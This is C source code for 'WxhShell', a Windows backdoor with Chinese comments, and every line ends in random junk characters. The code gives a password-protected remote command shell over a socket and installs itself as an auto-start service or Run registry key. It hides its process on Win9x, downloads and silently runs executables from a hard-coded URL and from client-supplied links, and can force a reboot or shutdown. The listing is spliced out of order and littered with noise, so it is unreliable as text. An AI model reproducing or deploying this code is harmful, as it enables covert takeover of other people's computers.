    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PT/TQW  
    else { '2X6 >6`w  
    closesocket(wsh); s. ]<r5v7  
    ExitThread(0); n4%ZR~9WH  
    } $vjl-1x&  
    break; MIF`|3$,  
    } S;L=W9=wby  
  // 获取shell bpp{Z1/4  
  case 's': { K}e:zR;;^  
    CmdShell(wsh); X" m0||  
    closesocket(wsh); *}<Uh'?  
    ExitThread(0); 7uq/C#N  
    break; 8urX]#  
  } [QZ g=."  
  // 退出 PqDffZ^z  
  case 'x': { \{u 9Kc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =R6IW,*  
    CloseIt(wsh); B/F6WQdZ  
    break; P#o"T4 >  
    } 56`Tna,t  
  // 离开 o4PJ9x5R!  
  case 'q': { %pG^8Q()   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~OSgpM#O!T  
    closesocket(wsh); b<bj5m4fz>  
    WSACleanup(); [Rxbb+,U  
    exit(1); p'f8?jt  
    break; 7H!/et?S,  
        } PXrv2q[5?  
  } /9@[gv A  
  } {i#z <ttu  
Wb{0UkApJ  
  // 提示信息 hb ="J349  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rZ#ZY  
} HzQ Y\Y6  
  } iKM!>Fi  
#AO?<L  
  return; 0(|Yy/Yq  
}  Qo$j'|lD  
 @ ^cR  
// shell模块句柄 ?DrA@;IB  
int CmdShell(SOCKET sock) =8V 9E  
{ Cno+rmsfT  
STARTUPINFO si; 1W r,E#+C  
ZeroMemory(&si,sizeof(si)); Nbvs_>N   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |w].*c}Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #T3dfVWv  
PROCESS_INFORMATION ProcessInfo; cKED RX3  
char cmdline[]="cmd"; h"3Mj*s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N(Sc!rX  
  return 0; m- u0U  
} slTE.  
q/#p ol  
// 自身启动模式 J:Idt}@z  
int StartFromService(void) N}gPf i  
{ Q&]f9j_  
typedef struct fvBL? x  
{ f"RS,]  
  DWORD ExitStatus; 4..M *U  
  DWORD PebBaseAddress; N3(.7mxo  
  DWORD AffinityMask; ORx6r=zg  
  DWORD BasePriority; qd<-{  
  ULONG UniqueProcessId; Lvd es.0|  
  ULONG InheritedFromUniqueProcessId; cNl NJ  
}   PROCESS_BASIC_INFORMATION; cw3j&k  
W7#dc89}  
PROCNTQSIP NtQueryInformationProcess; 8vqx}2  
vdIert?p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Bw/8-:eb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %urd;h D  
x:$ xtu  
  HANDLE             hProcess; |R&cQKaQ`  
  PROCESS_BASIC_INFORMATION pbi; !rsGCw!Pg  
?>s[B7wMp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'W*:9wah  
  if(NULL == hInst ) return 0; l0w<NZ F  
^_gH}~l+U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e);`hNLih  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z^!% b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .+(R,SvN%<  
+3F%soum95  
  if (!NtQueryInformationProcess) return 0; =1Hn<Xay0  
p?2^JJpUb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R8-=N+hX  
  if(!hProcess) return 0; ?[<#>,W  
SA?lDRF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PH$C."Vv  
+Ly@5y"  
  CloseHandle(hProcess); 19b@QgfWpb  
es^@C9qt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 74r$)\q  
if(hProcess==NULL) return 0; jS ?#c+9  
ShesJj  
HMODULE hMod; 4<V}A j8l  
char procName[255]; |*$0~mA  
unsigned long cbNeeded; oy-y Q YX  
H/U.Bg 4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); > JC"YB  
l;d4Le  
  CloseHandle(hProcess); C#LTF-$])  
A<_{7F9  
if(strstr(procName,"services")) return 1; // 以服务启动 <?>tjCg'  
jwpahy;\WL  
  return 0; // 注册表启动 H<") )EJI  
} v{SZ(;  
uJ`:@Z^J  
// 主模块 xLSf /8e  
int StartWxhshell(LPSTR lpCmdLine) 4sq](! A  
{ hdeI/4 B  
  SOCKET wsl; #/> a`Ur_  
BOOL val=TRUE; 3Cgv($xl&  
  int port=0; "5204I  
  struct sockaddr_in door; q|V|Jl  
{)(Mkm +d  
  if(wscfg.ws_autoins) Install(); Re+oCJ  
,_ TE@ ]!$  
port=atoi(lpCmdLine); Gz52^O :  
iG#9 2e4  
if(port<=0) port=wscfg.ws_port; ,FwpHs $A  
M`n0 q y  
  WSADATA data; }kG>6_p?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rl&nR$#  
tOX -vQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tA]u=-_h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T+q5~~\d  
  door.sin_family = AF_INET; %l?*w~x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $*`E;}S0  
  door.sin_port = htons(port); orOq5?3  
EU Z7?4o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z\"9T?zoo  
closesocket(wsl); k t'[  
return 1; Hy5 6@jW+E  
} 6LrI,d  
_Wq;bKG  
  if(listen(wsl,2) == INVALID_SOCKET) { ]ddH>y&o  
closesocket(wsl); V-3;7  
return 1; Cp+tcrd_s  
} Fi/`3A@68  
  Wxhshell(wsl); :}2Tof2  
  WSACleanup(); hBaF^AWW  
j\"d/{7Q  
return 0; Lr 9E02  
k<x7\T  
} 1B gHkDW  
3?D{iMRM  
// 以NT服务方式启动 m&yHtnt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F"cZ$TL]  
{ 3xN_z?Rg  
DWORD   status = 0; !1%Sf.`!_  
  DWORD   specificError = 0xfffffff; I5)$M{#a  
B" _Xst  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '14 86q@[$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Qsw.429t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VCVKh  
  serviceStatus.dwWin32ExitCode     = 0; LcT;7yv  
  serviceStatus.dwServiceSpecificExitCode = 0; F|cli <  
  serviceStatus.dwCheckPoint       = 0; cY Qm8TR<  
  serviceStatus.dwWaitHint       = 0; /E3~z0  
'y5H%I!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -?l`LbD  
  if (hServiceStatusHandle==0) return; @-Y,9mM   
M2;6Cz>,P  
status = GetLastError(); ]"^ p}:  
  if (status!=NO_ERROR) 5(GVwv  
{ dd6%3L{cn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~T/tk?:8Vi  
    serviceStatus.dwCheckPoint       = 0; 6Eus_aP  
    serviceStatus.dwWaitHint       = 0; unNN&m#@  
    serviceStatus.dwWin32ExitCode     = status; : sw@1  
    serviceStatus.dwServiceSpecificExitCode = specificError; A2p%Y},  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GvvKM=1  
    return; R](cko=  
  } }346uF7C  
dWu;F^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'vYt_T  
  serviceStatus.dwCheckPoint       = 0; 2G<XA  
  serviceStatus.dwWaitHint       = 0; J qmL|S)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U(Bmffn4Z  
} bvHQ# :}H  
s}yN_D+V  
// 处理NT服务事件,比如:启动、停止 ?G<?: /CU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jP0TyhM  
{ rg=Ym.  
switch(fdwControl) 6'x3g2C/  
{ CJDNS21m  
case SERVICE_CONTROL_STOP: mxu!$wx  
  serviceStatus.dwWin32ExitCode = 0; j,SZJ{ebXg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E$ &bl  
  serviceStatus.dwCheckPoint   = 0; ]"?<y s  
  serviceStatus.dwWaitHint     = 0; 1*'gaa&y  
  { VS!v7-_N5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w~jm0jK]  
  } +F%tBUY{<  
  return; aR'~=t&;z1  
case SERVICE_CONTROL_PAUSE: [0]J 2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XX "3.zW  
  break; 'cAS>s"$}V  
case SERVICE_CONTROL_CONTINUE: 1)qD)E5&cf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }W(t> >  
  break; .<xD'54  
case SERVICE_CONTROL_INTERROGATE: yq<W+b/  
  break; P_H_\KsH*(  
}; lDF7~N9J_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g:!R't?  
} e\f\CMb  
e.#,9  
// 标准应用程序主函数 (d* | |"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QC&,C}t,  
{ !4<A|$mQ  
?AQA>D#W  
// 获取操作系统版本 ts("(zI1E  
OsIsNt=GetOsVer(); \PFjw9s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2$VSH&  
 c,M"a  
  // 从命令行安装 t<$J 3h/"  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;O 5Iu  
wehiX7y  
  // 下载执行文件 Twr,O;*u=  
if(wscfg.ws_downexe) { Kb-m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VVpJ +  
  WinExec(wscfg.ws_filenam,SW_HIDE); VR A+p?7-  
} A/fM30  
S v#,L8f  
if(!OsIsNt) { f^F"e'1  
// 如果时win9x,隐藏进程并且设置为注册表启动 SQ]M"&\{y  
HideProc(); i70\`6*;B  
StartWxhshell(lpCmdLine); ]2ycJ >w  
} 4L4u<  
else ne3t|JZ  
  if(StartFromService()) l Ft&cy2  
  // 以服务方式启动 tp }Bz&V  
  StartServiceCtrlDispatcher(DispatchTable); wlslG^^(!  
else Fg'{K%t4  
  // 普通方式启动 ,^ dpn  
  StartWxhshell(lpCmdLine); \" m&WFm  
Nez '1  
return 0; 'z)cieFKP  
} {yEL$8MC  
1,U)rx$H  
0]$-}AYM  
,S@B[+VZ  
=========================================== V?`|Ha}  
zy8+~\a+Y&  
SJ:Teab  
fA[T5<66  
:Z_abKt  
Ir*{IVvej  
" +qqCk  
C7}iwklcsa  
#include <stdio.h> klY, @  
#include <string.h>  twK3  
#include <windows.h> z(2G"}  
#include <winsock2.h> IjQgmS~G  
#include <winsvc.h> FL&Y/5  
#include <urlmon.h> =^l`c$G<  
hhI*2|i"L  
#pragma comment (lib, "Ws2_32.lib") Gl6:2  
#pragma comment (lib, "urlmon.lib") 7 s2*VKr  
0tPwhJ  
#define MAX_USER   100 // 最大客户端连接数 }#Iqq9[  
#define BUF_SOCK   200 // sock buffer JE*?O*&|Q  
#define KEY_BUFF   255 // 输入 buffer :<0lCj  
wyAh%'V  
#define REBOOT     0   // 重启 /q7$"wP  
#define SHUTDOWN   1   // 关机 ljz=u;O)  
fD8GAav  
#define DEF_PORT   5000 // 监听端口 g2rH"3sC  
:O?3lj)  
#define REG_LEN     16   // 注册表键长度 6Bexwf<u  
#define SVC_LEN     80   // NT服务名长度 \yLFV9P}EL  
7uF @Xh  
// 从dll定义API IlI5xkJ(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Mii&doU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^EW6}oj[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NqFfz9G)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v:>sS_^  
[biz[ fm  
// wxhshell配置信息 +bb-uoZf  
struct WSCFG { wqap~X  
  int ws_port;         // 监听端口 S@~ReRew2  
  char ws_passstr[REG_LEN]; // 口令 f}ch1u>  
  int ws_autoins;       // 安装标记, 1=yes 0=no fjuPGg~  
  char ws_regname[REG_LEN]; // 注册表键名 *#@{&Q(Qh  
  char ws_svcname[REG_LEN]; // 服务名 c|(Q[=   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $YJi]:3&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wsc=6/#u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AUfcf *  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [;'$y:L=g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !ZCxi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bX5/xf$q  
h=n\c6Q  
}; -7J~^m2x  
o$7UWKW8  
// default Wxhshell configuration *TCV}=V G  
struct WSCFG wscfg={DEF_PORT, L}_VT J  
    "xuhuanlingzhe", { Q!Xxe>6  
    1, +apn3\_  
    "Wxhshell", 1}p :]/;  
    "Wxhshell", 5>=4$!`  
            "WxhShell Service", f3h]t0M  
    "Wrsky Windows CmdShell Service", qNMYZ0,  
    "Please Input Your Password: ", $?LegX  
  1, oJ#;XR  
  "http://www.wrsky.com/wxhshell.exe", y`/:E<fVk  
  "Wxhshell.exe" :x^e T  
    }; d?cCSf  
S T4[d'|j  
// 消息定义模块 [ p(0g;bx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 89P7iSV#*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0 U#m7j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~4] J'E >  
char *msg_ws_ext="\n\rExit."; <Skf n`).  
char *msg_ws_end="\n\rQuit."; xf|C{XV@H  
char *msg_ws_boot="\n\rReboot..."; -KG1"g,2  
char *msg_ws_poff="\n\rShutdown..."; gh `_{l  
char *msg_ws_down="\n\rSave to ";  qzSm]l?z  
bhfKhXh8  
char *msg_ws_err="\n\rErr!"; \`-xxhb?e  
char *msg_ws_ok="\n\rOK!"; ;rnhv:Iw  
b'ir$RL] c  
char ExeFile[MAX_PATH]; 3u s^\w#  
int nUser = 0; `dl^)4J  
HANDLE handles[MAX_USER]; qK%#$JgqA  
int OsIsNt; @B?'Mu*  
tdp>vI!  
SERVICE_STATUS       serviceStatus; /L2.7`5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &k`lb kq  
EYn9l n_]u  
// 函数声明 v`@N R06  
int Install(void); ws U@hqS  
int Uninstall(void); n S Vr,wU  
int DownloadFile(char *sURL, SOCKET wsh); 4ZYywDwn  
int Boot(int flag); 64^3ve3/a=  
void HideProc(void); 3b`#)y^y?%  
int GetOsVer(void); _b * gg  
int Wxhshell(SOCKET wsl); L/5th}m  
void TalkWithClient(void *cs); Vp1Nk#H  
int CmdShell(SOCKET sock); >yLdrf  
int StartFromService(void); y~VLa  
int StartWxhshell(LPSTR lpCmdLine); ItZ*$I1<  
gXY]NWI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SR<W3a\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tU>7 jo[-p  
Oz "_KMz  
// 数据结构和表定义 R[QBFL<  
SERVICE_TABLE_ENTRY DispatchTable[] = )L_@l5l  
{ OhM_{]*  
{wscfg.ws_svcname, NTServiceMain}, tvUCd}  
{NULL, NULL} vJX0c\e  
}; lj+&3<E  
'HL.W](  
// 自我安装 $wl_  
int Install(void) )t2eg1a:  
{ {Z>Mnw"R  
  char svExeFile[MAX_PATH]; n9Vr*RKM)  
  HKEY key; DJ1!Xuu  
  strcpy(svExeFile,ExeFile); ^5k~ 7F.  
fOP3`G^\  
// 如果是win9x系统,修改注册表设为自启动 \GK]6VW  
if(!OsIsNt) { ZJ/K MW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nkn2\ w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #TB 3|=  
  RegCloseKey(key); /#?! 9c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pTH5-l_f ]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :g+ wv}z  
  RegCloseKey(key); MaF4lFmS  
  return 0; CWb*bw0  
    } DIkf#}  
  } fW=eB'Sl  
} 7IrH(~Fo  
else { d9l2mJzW  
bu=RU  
// 如果是NT以上系统,安装为系统服务 D&DbxTi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `1lGAKv  
if (schSCManager!=0) "}S6a?]V  
{ !';;q  
  SC_HANDLE schService = CreateService ( yB]$  
  ( Qn;,OB k  
  schSCManager, Lx| 0G $  
  wscfg.ws_svcname, f`[E^ zj  
  wscfg.ws_svcdisp, [7,q@>:CS  
  SERVICE_ALL_ACCESS, Ian+0 ?`e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zT>BC}~.b  
  SERVICE_AUTO_START, l4U  
  SERVICE_ERROR_NORMAL, S.?DR3XLc  
  svExeFile, vb9C&#  
  NULL, v]}\Ns/  
  NULL, "kjSg7m*:  
  NULL, VuD{t%Jb  
  NULL, k[y^7, r  
  NULL W< $!H V$  
  ); VL|Z+3L  
  if (schService!=0) hUEA)c  
  { v^Rw9*w{  
  CloseServiceHandle(schService); K{ntl-D&y  
  CloseServiceHandle(schSCManager); HumL(S'm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?}(B8^  
  strcat(svExeFile,wscfg.ws_svcname); beNy5~M$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -&lD0p>*g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v4XEp   
  RegCloseKey(key); pm[+xM9PB  
  return 0; $weC '-n@  
    } &q#. >  
  } m>*~ tP  
  CloseServiceHandle(schSCManager); w: mm@8N  
} r;+a%?P  
} S 8)!70  
bCiyz+VyJn  
return 1; ZH~Wn#Wp  
} {BgJ=0g?  
Z*=$n_ G  
// 自我卸载 T wzpq1  
int Uninstall(void) Pc<0kQg  
{ R iFUa $  
  HKEY key; :>F3es`  
#WS>Z3AY  
if(!OsIsNt) { PKQ.gPu6*@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <~S]jtL.j:  
  RegDeleteValue(key,wscfg.ws_regname); A4rkwM  
  RegCloseKey(key); &xp]9$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7k00lKA\w  
  RegDeleteValue(key,wscfg.ws_regname); '8(UiB5d  
  RegCloseKey(key); fK2r6D9  
  return 0; :}-?X\|\  
  } +r&:c[  
} |dDKO  
} k|{ 4"4r  
else { Ijk hV  
KP7 {  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !~V^GlY  
if (schSCManager!=0) wvxsn!Ao&=  
{ #on ,;QN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9ExI,  
  if (schService!=0) Uv652DC  
  { /)`]p1c1%w  
  if(DeleteService(schService)!=0) { FZIC |uz  
  CloseServiceHandle(schService); j(k}NWPH  
  CloseServiceHandle(schSCManager); ) .KMZ]  
  return 0; `zB bB^\`W  
  } rm-;Z<  
  CloseServiceHandle(schService); ).A9>^6?{  
  } @th94tk,  
  CloseServiceHandle(schSCManager); :8HVq*itS  
} {m@tt{%  
} o8v,17 8  
_pDfPLlY&  
return 1; dCo3VF"u  
} yH>C7M7 t  
wNn=JzP  
// 从指定url下载文件 Pn6~66a6  
int DownloadFile(char *sURL, SOCKET wsh) %(W8W Lz}  
{ *)Cr1d k  
  HRESULT hr; yqVoedN  
char seps[]= "/"; ),[@NK&=  
char *token; `xx3JQv[  
char *file; &]shBvzl^  
char myURL[MAX_PATH]; (E,Ibz2G:e  
char myFILE[MAX_PATH]; 7upWM~H^  
>5?:iaq z  
strcpy(myURL,sURL); 7[UD;&\k  
  token=strtok(myURL,seps); q ]VB}nO  
  while(token!=NULL) 5G$ ,2i(  
  { Y*\N{6$2  
    file=token; y.6/x?Qc  
  token=strtok(NULL,seps); Z0<s -eN:  
  } w=a$]`  
I)s_f5'  
GetCurrentDirectory(MAX_PATH,myFILE); )Y9\>Xj7  
strcat(myFILE, "\\"); x 4sIZe+  
strcat(myFILE, file); 0L1sF'ZN  
  send(wsh,myFILE,strlen(myFILE),0); )!caOGvhJ  
send(wsh,"...",3,0); r-*6# "  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GN:|b2 "  
  if(hr==S_OK) #S x  
return 0; ^!0z+M:>^  
else  m l@% H  
return 1; V|[NL4  
+|7N89l  
} 4>a(!h t  
"tK|/R+  
// 系统电源模块 %>6ilG Q+  
int Boot(int flag) e-[PuJ  
{ &I(\:|`o  
  HANDLE hToken; qxsHhyB_n;  
  TOKEN_PRIVILEGES tkp; BW}M/  
}p?67y/  
  if(OsIsNt) { |lg jI!iK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <;O^3_'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (DS"*4ty  
    tkp.PrivilegeCount = 1; SbzJeaZv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nc\2A>f`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zSU,le  
if(flag==REBOOT) { 4*Gv0#dga  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 41s\^'^&  
  return 0; v Y0ESc{  
} T93st<F=R  
else { &[_@f#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V*5v JF0j  
  return 0; !c1M{klP  
} jD}h`(bE  
  } ?6{g7S%  
  else { kS=nH9  
if(flag==REBOOT) { +!E9$U>6%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]!@=2kG4  
  return 0; RA[%8Rh)  
} 12m-$/5n+  
else { Uzc p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u[Si=)`VPk  
  return 0; `JpFqZ'58  
} 6vR6=@(`>  
} hayJgkZ '  
}!R*Q`m  
return 1; -2>s#/%  
} o 9/,@Ri\5  
c5b }q@nH  
// win9x进程隐藏模块 v9Sk\9}S  
void HideProc(void) 32?'jRN(ue  
{ / o I 4&W  
1X5Yp|Ho  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NsSZ?ky  
  if ( hKernel != NULL ) l|E4 7@#  
  { >]ZE<.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v'b%m8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N3aqNRwlk  
    FreeLibrary(hKernel); @ =~k[o  
  } .`5|NUhN  
U B~ -$\.  
return; qNP)oU92  
} N6\rjYx+7  
hf0(!C*  
// 获取操作系统版本 b;5j awG  
int GetOsVer(void) i*m ;kWu,  
{ e&U$;sS`  
  OSVERSIONINFO winfo; R@s7s%y=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D}lqd Ja  
  GetVersionEx(&winfo); wy tMoG\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n%#3xo a  
  return 1; lS7L|  
  else cNxxX!P/  
  return 0; 4%w<Ekd  
} bv'>4a  
law$LL  
// 客户端句柄模块 kp*!  
int Wxhshell(SOCKET wsl) Z`M pH  
{ m"'LT0nur  
  SOCKET wsh; US(RWXyg  
  struct sockaddr_in client; <FBBR2  
  DWORD myID; CEaAtAM  
E;x-O)(&  
  while(nUser<MAX_USER) vYb4&VV  
{ v<g=uEpN  
  int nSize=sizeof(client); l~f3J$OkJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4g8o~JI:v  
  if(wsh==INVALID_SOCKET) return 1; ~%g,Uypi  
,d38TN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zIu/!aw  
if(handles[nUser]==0) * jWh4F,  
  closesocket(wsh); Z_xQ2uH$:  
else n8=D zv0  
  nUser++; 8IQ}%|lN  
  } +hr|$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4K~=l%l  
Ky,upU  
  return 0; `PL}8ydZ  
} N>"L2E=z$|  
]= %qm;  
// 关闭 socket buN@O7\  
void CloseIt(SOCKET wsh) wv."  
{ O65`KOPn  
closesocket(wsh); UhL1Y NF_  
nUser--; 8>#ZU]cG  
ExitThread(0); 8a)Brl}u  
} B= ~y(Mb  
$w{d4")  
// 客户端请求句柄 'uDx$AkY  
void TalkWithClient(void *cs) Ui (nMEon  
{ Fj~suZ`  
%aMC[i  
  SOCKET wsh=(SOCKET)cs; G$V=\60a-  
  char pwd[SVC_LEN]; N<a %l J  
  char cmd[KEY_BUFF]; YW&K,)L@  
char chr[1]; dhLR#m30T  
int i,j; J8r8#Zz  
^@RvCJ+  
  while (nUser < MAX_USER) { !Md6Lh%-w  
}EkL[H!  
if(wscfg.ws_passstr) { J( XDwt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (?R!y -  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M(K7xx+G  
  //ZeroMemory(pwd,KEY_BUFF); .\ fpjQW  
      i=0; ?{aJ#w   
  while(i<SVC_LEN) { rC_1f3A  
pgh(~ [  
  // 设置超时 >4Tk#+%Jj  
  fd_set FdRead; DGb1_2ZQ  
  struct timeval TimeOut; tJ K58m$  
  FD_ZERO(&FdRead); lW-h @  
  FD_SET(wsh,&FdRead); I8)D   
  TimeOut.tv_sec=8; u%z'.#r;a  
  TimeOut.tv_usec=0; (XmmbAbVom  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b/ \EN)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;#9?3O s  
QJ(%rvn3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =LV-n  
  pwd=chr[0]; U!r8}@  
  if(chr[0]==0xd || chr[0]==0xa) { XK3O,XM  
  pwd=0; ^O@eyP  
  break; B!x#|vGXL  
  } l+P!I{n  
  i++; ZwLr>?0$ p  
    } ?rQ .nN  
tB~#;:g  
  // 如果是非法用户,关闭 socket ,m?V3xvq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z+y'w#MZL  
} a dr\l5pWQ  
cYg J}(>}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n ng|m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }lX$KuD  
b:hta\%/2  
while(1) { ydO+=R0M  
EF\OM?R  
  ZeroMemory(cmd,KEY_BUFF); WXmfh  
*6AV^^  
      // 自动支持客户端 telnet标准   *`u|1}h|  
  j=0; iw/~t  
  while(j<KEY_BUFF) { a'jUM+D;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TY %zw6 #p  
  cmd[j]=chr[0]; P}5bSQ( a3  
  if(chr[0]==0xa || chr[0]==0xd) { 1mJUl x  
  cmd[j]=0; g_c@Kyf  
  break; sYDav)L.  
  } c:0n/DC  
  j++; *izCXfW7  
    } Xzg >/w 8J  
)2ShoFF  
  // 下载文件 iT Aj$ { >  
  if(strstr(cmd,"http://")) { ?.< Qgd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^SG>VfgC  
  if(DownloadFile(cmd,wsh)) 0~RD@>]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L5 `k3ap|  
  else Mi|13[p{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dL% *;   
  } zNt//,={  
  else { <dP \vLH_  
i;C` .+  
    switch(cmd[0]) { ef '?O  
  zX*5yNd  
  // 帮助 _`;KmD&5  
  case '?': { `dV2\^*A  
